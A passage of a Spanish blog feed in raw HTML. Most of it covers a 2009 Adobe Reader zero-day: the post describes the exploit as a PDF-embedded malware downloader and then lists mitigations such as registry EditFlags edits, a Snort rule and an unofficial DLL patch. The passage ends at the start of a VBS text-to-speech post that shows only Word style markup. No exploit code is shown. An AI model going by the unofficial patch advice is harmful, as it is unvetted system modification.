ESET NOD32)&lt;/span&gt;. La función del exploit ha de ser muy simple: ha de poder embeberse sin fallos en un PDF y debe descargar otros malwares como botnets, troyanos, virus, w0rms... Desde aquí no publicaremos ningún source ni estamos incitando al uso del susodicho exploit, sino que informamos de los innegables hechos. Es responsabilidad de cada uno el usarlo o no.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;¿Cómo me protejo?&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;ESCOJE LA OPCIÓN QUE MÁS TE GUSTE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Habilitando la opción para descargar los archivos PDF cuando se hace clic en un enlace a ellos desde Internet, en lugar de que se abran en el navegador : (FUENTE: VSAntivirus)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;1. Haga clic en Inicio, Ejecutar, escriba REGEDIT.EXE y pulse Enter.&lt;br /&gt;               &lt;br /&gt;                2. Busque en el registro la siguiente entrada (puede no existir, en ese caso siga con el paso 5):                   &lt;/span&gt;                                   &lt;blockquote&gt;                 &lt;p&gt;&lt;span style="font-size:85%;"&gt;HKEY_CLASSES_ROOT\AcroPDF.PDF.1                   &lt;/span&gt;                 &lt;/p&gt;                 &lt;/blockquote&gt;                   &lt;p&gt;&lt;span style="font-size:85%;"&gt;3. Si existe, haga una copia de respaldo, haciendo clic en "AcroPDF.PDF.1". Luego abra el menú desplegable "Archivo" y seleccione "Exportar". Marque "Rama seleccionada" y guarde el .REG generado.&lt;br /&gt;               &lt;br /&gt;4. En la ventana de la derecha, haga clic sobre el valor "EditFlags" y cambie "00 00 01 00" por "00 00 00 00" (cuatro grupos de ceros). Si no existe "EditFlags", cree un nuevo valor con ese nombre (botón derecho, "Nuevo valor binario"), y en información del valor escriba "00 00 00 00".&lt;br /&gt;               &lt;br /&gt;                5. Busque la siguiente clave:                   &lt;/span&gt;                 &lt;/p&gt;                   &lt;blockquote&gt;                 &lt;p&gt;&lt;span style="font-size:85%;"&gt;HKEY_CLASSES_ROOT\AcroExch.Document.7                   &lt;/span&gt;                 &lt;/p&gt;                 &lt;/blockquote&gt;                   &lt;p&gt;&lt;span style="font-size:85%;"&gt;6. Repita los pasos 3 y 4 para hacer un respaldo de la rama "AcroExch.Document.7", y para cambiar el valor de "EditFlags" por "00 00 00 00".&lt;br /&gt;               &lt;br /&gt;                7. Cierre el editor del registro.&lt;br /&gt;               &lt;br /&gt;Ahora, cada vez que haga clic sobre el enlace a un archivo PDF, se le pedirá grabar el archivo al disco, o abrirlo (lo hará con Acrobat Reader).&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;-Descargando Foxit Reader. En Foxit, la opción anterior se encuentra en "Editar", "Preferencias", "Internet", donde debemos tildar la casilla "Show file download dialog".&lt;br /&gt;&lt;br /&gt;-En el &lt;a href="http://feeds.feedburner.com/%7Er/SunbeltBlog/%7E3/544891792/mitigating-adobe-zero-day.html"&gt;blog de Sunbelt&lt;/a&gt;, Alex Eckelberry menciona que si uno usa &lt;a href="http://snort.org/"&gt;Snort&lt;/a&gt; puede aplicar una &lt;a href="http://snort.org/vrt/advisories/vrt-rules-2009-02-20.html"&gt;regla especialmente diseñada&lt;/a&gt; para esto y que soluciona la llegada de archivos PDF con &lt;a href="http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html"&gt;compresión JBIG2, que según dicen&lt;/a&gt; los investigadores de vulnerabilidades de SourceFire es el lugar donde se produce la vulnerabilidad.&lt;br /&gt;&lt;br /&gt;-Probando el parche &lt;span style="font-style: italic;"&gt;no oficial&lt;/span&gt; hecho por Sourcefire. El parche sólo se aplica a la versión de Windows de &lt;span class="highlighted0"&gt;Adobe&lt;/span&gt; Reader 9.0 y no tiene ningún tipo de garantía. El parche reemplaza la DLL AcroRd32.dll . &lt;a href="http://www.snort.org/vrt/tools/AcroRdv9-Patch.zip"&gt;Descarga este zip&lt;/a&gt;, y descomprime en "C:\Program Files\Adobe\Reader 9.0\Reader\"&lt;br /&gt;&lt;br /&gt;-Actualizando a la versión 9 y no abrir un PDF hasta el 11/3 xD&lt;br /&gt;&lt;br /&gt;-Y, por cierto, desactivar el JS no desactiva a su vez la vulnerabilidad ;)&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;div style="visibility: hidden;" title="1236516990399" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990400" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990401" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990402" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990403" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990404" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990405" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990406" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990408" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990409" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990410" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236516990411" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002025" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002026" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002027" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002028" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002029" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002030" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002031" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517002032" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246101" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246103" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246105" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246106" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246107" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246108" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246238" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246239" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246240" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246241" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246242" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246243" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246245" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246246" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246248" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246249" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246250" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517246269" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333788" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333790" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333792" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333967" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333969" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333970" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333971" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333972" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333974" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333975" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333976" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333977" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333978" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333982" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517333983" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697553" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697555" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697556" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697557" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697746" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697750" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697751" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697753" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697754" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697755" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697759" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697760" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697761" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697762" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697764" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517697767" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517716741" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745417" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745420" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745586" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745587" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745589" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745590" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745591" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745592" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745593" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745595" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745597" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517745599" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794392" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794395" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794396" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794526" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794527" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794529" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794529" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794530" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794531" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794533" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794535" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794536" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794537" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794538" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517794539" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862832" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862987" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862989" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862989" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862990" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862991" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862992" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862993" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862994" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862995" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862997" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517862999" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517863000" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911475" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911478" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911479" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911632" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911633" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911634" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911635" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911636" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911638" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911639" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911640" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911641" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911642" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911644" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517911647" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925111" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925268" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925270" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925271" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925272" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925273" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925274" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925275" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925275" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925276" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925278" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925279" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517925280" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517957992" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958175" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958177" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958178" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958179" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958181" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958183" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958184" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958185" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958187" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958190" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958191" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517958192" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976903" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976905" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976985" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976987" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976989" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976991" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976993" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976994" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517976995" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977000" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977001" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977003" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977006" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977008" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977065" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977070" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977071" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977072" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977074" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977075" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977075" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977077" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977078" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977080" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977081" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236517977082" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518084745" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1236518084750" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-7305900501237594668?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/7305900501237594668/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=7305900501237594668' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7305900501237594668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7305900501237594668'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/03/adobe-reader-y-acrobat-vulnerables.html' title='Adobe Reader y Acrobat... Vulnerables'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-1388149353785226907</id><published>2009-03-07T22:29:00.011+01:00</published><updated>2009-03-08T15:54:25.762+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Scripting'/><title type='text'>Enseña a hablar a tu PC</title><content type='html'>Todos diréis, ¡muy fácil! Me bajo el TextAloud o similar y ya está solucionado.&lt;br /&gt;Pero... vamos a montar nuestro TextAloud en VBS:&lt;br /&gt;Este script utilizará el API de habla de Microsoft, el cual está instalado en Windows XP/Vista/7. Si esta guía no funciona, al final dedico un huequecito a hablar del tema. Empezamos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CODE:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Crea un nuevo txt. Cámbiale la extensión a vbs, da click derecho al archivo, a editar y escribe esto:&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link rel="File-List" href="file:///C:%5CUsers%5CGuill3%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:SimSun; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-alt:宋体; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 680460288 22 0 262145 0;} @font-face 	{font-family:"\@SimSun"; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 680460288 22 0 262145 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:SimSun;} @page Section1 	{size:612.0pt 792.0pt; 	margin:70.85pt 3.0cm 70.85pt 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;&lt;br /&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link rel="File-List" href="file:///C:%5CUsers%5CGuill3%5CAppData%5CLocal%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:SimSun; 	panose-1:2 1 6 0 3 1 1 1 1 1; 	mso-font-alt:宋体; 	mso-font-charset:134; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 680460288 22 0 262145 0;} @font-face 	